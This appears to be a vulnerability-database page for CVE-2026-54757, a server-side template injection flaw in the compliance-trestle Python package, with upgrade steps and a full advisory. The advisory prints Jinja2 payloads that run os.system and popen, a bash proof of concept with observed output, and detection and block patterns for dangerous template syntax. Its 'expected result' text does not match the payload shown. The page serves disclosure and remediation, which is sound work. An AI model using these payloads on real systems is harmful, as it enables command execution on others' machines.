CVE-2026-54757: Compliance trestle Trestle Has Server-Side Template Injection Vulnerability
HIGHCVE-2026-54757 is a HIGH (CVSS 7.8) trestle has server-side template injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Compliance trestle libraries in the PyPI ecosystem. The issue involves trestle has server-side template injection (ssti) via recursive template re-evaluation of untrusted data. Remediation is available by upgrading affected packages to version 3.12.4, 4.1.0.
CVE-2026-54757 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-54757
To remediate this vulnerability, upgrade all affected Compliance trestle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install compliance-trestle>=3.12.4
pip install compliance-trestle>=4.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show compliance-trestle
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54757, inspect your installed packages using pip:
pip show compliance-trestle
Analyze the terminal output to locate any version of Compliance trestle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.12.4), your application is affected.
Note: The pip show compliance-trestle command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Compliance trestle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54757 Affected Compliance trestle Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
compliance-trestle
|
PyPI |
< 3.12.4
|
3.12.4
|
|
compliance-trestle
|
PyPI |
≥ 4.0.0
< 4.1.0
|
4.1.0
|
References
Frequently Asked Questions
What is CVE-2026-54757?
Which Compliance trestle versions are affected?
What version fixes CVE-2026-54757?
Is compliance-trestle affected?
What is the CVSS score of CVE-2026-54757?
What CWE is associated with CVE-2026-54757?
How can I check PyPI dependencies for CVE-2026-54757?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jw39-3688-r4rx",
"modified" : "2026-08-28T16:15:38Z",
"published" : "2026-08-28T16:15:38Z",
"aliases" : [ "CVE-2026-54757" ],
"summary" : "Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data",
"details" : "### Impact\n\nA Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: **untrusted data is re-parsed as Jinja2 template source code without sandboxing**. This advisory tracks the root cause across all affected code paths.\n\nThe core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to `Parser.parse()` or an equivalent rendering cycle, without using `SandboxedEnvironment` or escaping Jinja2 syntax delimiters. Because `jinja2.Environment` (not `SandboxedEnvironment`) is used, injected expressions can traverse Python object chains (`__class__.__mro__`, `__globals__`, `__subclasses__()`) to achieve arbitrary command execution via `os.system()` or `subprocess`.\n\n**Previously fixed instance (historical context):**\n\nAn earlier version of `render_template()` in `trestle/core/commands/author/jinja.py` implemented a recursive `while` loop: rendered output was loaded via `DictLoader` into a new `Environment` and re-rendered until convergence. This allowed an attacker to inject `{{ namespace.__init__.__globals__.os.system('command') }}` into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., `Title: {{ ssp.metadata.title }}`), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed — `render_template()` now performs a single `template.render(**lut)` call.\n\n**Still-vulnerable code paths (this advisory):**\n\n1. **`MDCleanInclude.parse()`** — `trestle/core/jinja/tags.py:148-151`: Markdown file content is loaded via `FileSystemLoader.get_source()`, then re-parsed as Jinja2 source via `Parser(self.environment, content).parse()`.\n\n2. **`MDSectionInclude.parse()`** — `trestle/core/jinja/tags.py:100-103`: Extracted Markdown section text (`md_section.content.raw_text`) is re-parsed as Jinja2 source via `Parser(self.environment, raw_text).parse()`.\n\n3. **`MDDatestamp.parse()`** — `trestle/core/jinja/tags.py:198-201`: Date string is re-parsed; lower risk because the date string is internally generated from `strftime()` rather than user input.\n\nAll three paths share the identical root cause: data that should be treated as plain text is passed to `Parser.parse()` and executed as Jinja2 code in an un-sandboxed `Environment`.\n\n**Attack vectors:**\n\n- **Path A (Markdown include):** Attacker places a malicious `.md` file with embedded Jinja2 payload in the trestle workspace. When `{% md_clean_include \"malicious.md\" %}` or `{% mdsection_include %}` is processed, the payload executes.\n- **Path B (Data field injection — SSP/LUT):** Attacker crafts an SSP document or YAML LUT where a data field value (e.g., `metadata.title`) contains `{{ namespace.__init__.__globals__.os.system('id') }}`. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.\n\nThe same `__globals__.os.system()` RCE technique demonstrated in the previously-fixed `render_template` vulnerability applies to the remaining re-parsing paths.\n\n\n### Workarounds\n\n1. **Disable vulnerable tags:** Remove `MDCleanInclude` and `MDSectionInclude` from the Jinja2 extensions list in `trestle/core/jinja/ext.py:32` if markdown includes are not required.\n2. **Audit included Markdown files:** Review all Markdown files referenced by `{% md_clean_include %}` and `{% mdsection_include %}` tags for unexpected Jinja2 syntax (`{{ }}`, `{% %}`, `{# #}`).\n3. **Scan data sources:** Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns.\n4. **Restrict workspace write access:** Ensure only trusted users can add or modify files in trestle workspace directories.\n5. **Pre-commit hook:** Add a pre-commit hook to scan `.md`, `.json`, `.yaml` files for Jinja2 syntax patterns (`{{ namespace`, `{% for`, `__globals__`, `__class__`, `__mro__`, `__subclasses__`, `os.system`, `subprocess`) and block commits containing them.\n6. **CI/CD isolation:** If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.\n\n## Attack Path (Validation Evidence)\n\n### Path A: via `{% md_clean_include %}` tag\n\n```\n[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md\n ↓ main() → JinjaCmd._run(args) [trestle/core/commands/author/jinja.py:108]\n ↓\n[Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...) [jinja.py:178]\n ↓ jinja_env = JinjaCmd._create_jinja_environment(template_folder) [jinja.py:192]\n ↓ template = jinja_env.get_template(str(r_input_file)) [jinja.py:193]\n ↓ output = JinjaCmd.render_template(template, lut, template_folder) [jinja.py:225]\n ↓\n[Render] Jinja2 engine encounters {% md_clean_include \"malicious.md\" %}\n ↓\n[Tag Handler] MDCleanInclude.parse(parser) [tags.py:115]\n ↓ markdown_source = \"malicious.md\" [tags.py:127]\n ↓ self.environment.loader.get_source(self.environment, \"malicious.md\") [tags.py:139]\n ↓ ← Loads file content from workspace directory (no restrictions on content)\n ↓ frontmatter.loads(md_content) → fm.content [tags.py:140-141]\n ↓ ← NO SANITIZATION: Markdown body assigned directly to content variable\n[SINK] local_parser = Parser(self.environment, content) [tags.py:148]\n ↓ ← Markdown content parsed as Jinja2 template SOURCE CODE\n[SINK] top_level_output = local_parser.parse() [tags.py:149]\n ↓ ← ALL Jinja2 syntax in the .md file is EXECUTED\n[Impact] SSTI — attacker-controlled Jinja2 code executes in template context\n```\n\n### Path B: via `{% mdsection_include %}` tag\n\n```\n[Entry Point] Same as Path A\n ↓ Jinja2 engine encounters {% mdsection_include \"doc.md\" \"Section Title\" %}\n ↓\n[Tag Handler] MDSectionInclude.parse(parser) [tags.py:56]\n ↓ self.environment.loader.get_source(..., markdown_source.value) [tags.py:82]\n ↓ DocsMarkdownNode.build_tree_from_markdown(fm.content.split('\\n')) [tags.py:86]\n ↓ full_md.get_node_for_key(section_title.value) → md_section [tags.py:87]\n ↓ ← Extracts specific section from the markdown document\n[SINK] local_parser = Parser(self.environment, md_section.content.raw_text) [tags.py:100]\n ↓ ← Section raw text parsed as Jinja2 template SOURCE CODE\n[SINK] top_level_output = local_parser.parse() [tags.py:101]\n ↓ ← ALL Jinja2 syntax in the extracted section is EXECUTED\n[Impact] SSTI — same impact as Path A, limited to a specific markdown section\n```\n\n## Taint Flow (Validation Evidence)\n\n```\nSource: User-supplied .md file in trestle workspace (file system)\n Type: Markdown text file\n Controllability: FULL — attacker controls entire file content\n ↓\n[Transform 1] FileSystemLoader.get_source() [tags.py:82 or 139]\n Reads raw file content as string\n ✓ SANITIZATION: NONE — any content is loaded\n ↓\n[Transform 2] frontmatter.loads(md_content) [tags.py:83 or 140]\n Strips YAML frontmatter, preserves Markdown body\n ✓ SANITIZATION: NONE — only processes YAML header, ignores body content\n ↓\n[Transform 3] fm.content → content variable [tags.py:141] (Path A)\n OR md_section.content.raw_text [tags.py:100] (Path B)\n Direct string assignment\n ✓ SANITIZATION: NONE — no filtering, encoding, or validation\n ↓\n[Transform 4] adjust_heading_level(content, expected) [tags.py:146] (Path A only)\n Adjusts Markdown heading levels (e.g., ## → ###)\n ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax\n ↓\n[Sink] Parser(self.environment, tainted_string) [tags.py:100 or 148]\n Tainted Markdown content is passed to Jinja2 Parser constructor as template source\n[Sink] local_parser.parse() [tags.py:101 or 149]\n All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed\n ↓\n[Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context\n\nSanitization Verdict: ABSENT\n - No sandboxing: jinja2.Environment used (not SandboxedEnvironment)\n - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped\n - No content validation: Markdown body is not scanned for template syntax\n - autoescape=True is irrelevant: only affects HTML output encoding, not code execution\n```\n\n## Proof of Concept\n\n### Setup\n\n```bash\n# Initialize trestle workspace\ntrestle init\n\n# Create malicious markdown file with Jinja2 payload\ncat > malicious.md << 'EOF'\n---\nyaml_header: ignored\n---\n\n# Compliance Documentation\n\nTesting SSTI vulnerability:\nExecute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}\nEOF\n\n# Create trigger template\ncat > trigger.md.jinja << 'EOF'\n# POC: SSTI via md_clean_include tag\n\n{% md_clean_include \"malicious.md\" %}\nEOF\n\n# Create a dummy LUT file\ncat > empty.yaml << 'EOF'\nlut:\n api_key: super_secret_token_12345\n db_password: P@ssw0rd_2024\n jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n aws_access_key: AKIAIOSFODNN7EXAMPLE\n aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n internal_api: https://internal.corp.example.com/api/v2/users\nEOF\n```\n\n### Execution\n\n```bash\ntrestle init\ntrestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml\n```\n\n### Observed Output\n\n```markdown\n# POC: SSTI via md_clean_include tag\n\n# Compliance Documentation\n\nTesting SSTI vulnerability:\nExecute command: root\n\n```\n\n### Expected Result\n\nThe rendered `output.md` will contain the output of the `{% for %}` loop, revealing all key-value pairs from the `lut` template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.\n\n\n## Affected Component\n\n- **File:** `trestle/core/jinja/tags.py`\n- **Class:** `MDCleanInclude` (lines 106-151)\n- **Class:** `MDSectionInclude` (lines 47-103)\n- **Function:** `MDCleanInclude.parse()` (line 115), `MDSectionInclude.parse()` (line 56)\n- **Configuring module:** `trestle/core/commands/author/jinja.py`, method `_create_jinja_environment()` (line 304)\n- **Dependency:** Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library\n\n## Fix Recommendation\n\n> **Important:** The fix for `render_template()` (removing the recursive `while` loop) was a necessary first step, but is **not sufficient**. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.\n\n### Comprehensive Fix Strategy\n\n**Step 1 (Root cause fix):** Remove all secondary Jinja2 parsing from custom tags where it is not needed:\n\n```diff\n# tags.py: MDCleanInclude.parse() — replace lines 148-151:\n- local_parser = Parser(self.environment, content)\n- top_level_output = local_parser.parse()\n- return top_level_output.body\n+ from jinja2 import nodes\n+ return [nodes.Output([nodes.TemplateData(content)])]\n```\n\n```diff\n# tags.py: MDSectionInclude.parse() — replace lines 100-103:\n- local_parser = Parser(self.environment, md_section.content.raw_text)\n- top_level_output = local_parser.parse()\n- return top_level_output.body\n+ from jinja2 import nodes\n+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]\n```\n\n**Step 2 (Defense in depth):** Switch to `SandboxedEnvironment` in `_create_jinja_environment()`:\n\n```diff\n# jinja.py:304-308 — _create_jinja_environment()\n+ from jinja2.sandbox import SandboxedEnvironment\n- return Environment(\n+ return SandboxedEnvironment(\n loader=FileSystemLoader(template_folder),\n extensions=extensions(),\n trim_blocks=True,\n autoescape=True\n )\n```\n\n**Step 3 (Input validation):** Add validation to reject input data containing Jinja2 syntax:\n\n```python\n# jinja.py: add to _run() before rendering\n_JINJA2_DANGEROUS_PATTERNS = [\n r'\\{\\{.*__globals__',\n r'\\{\\{.*__class__',\n r'\\{\\{.*__mro__',\n r'\\{\\{.*__subclasses__',\n r'\\{\\{.*__init__',\n r'\\{\\{.*os\\.system',\n r'\\{\\{.*subprocess',\n r'\\{%\\s*for\\s',\n r'\\{%\\s*if\\s',\n]\n\ndef _validate_data_field(value: str) -> bool:\n \"\"\"Reject data values containing suspicious Jinja2 syntax.\"\"\"\n for pattern in _JINJA2_DANGEROUS_PATTERNS:\n if re.search(pattern, value):\n return False\n return True\n```\n\n### Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data\n\n```diff\n # tags.py: before any secondary parsing\n+ import re\n+ def escape_jinja2(text: str) -> str:\n+ return re.sub(r'(\\{\\{|\\{%|\\{#)', r'\\\\\\1', text)\n+\n+ content = escape_jinja2(content) # apply before Parser()\n local_parser = Parser(self.environment, content)\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.12.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.12.3"
}
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54757"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/pull/2257"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/oscal-compass/compliance-trestle"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/releases/tag/v3.12.4"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/releases/tag/v4.1.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T16:15:38Z",
"nvd_published_at" : "2026-08-25T23:17:19Z"
}
}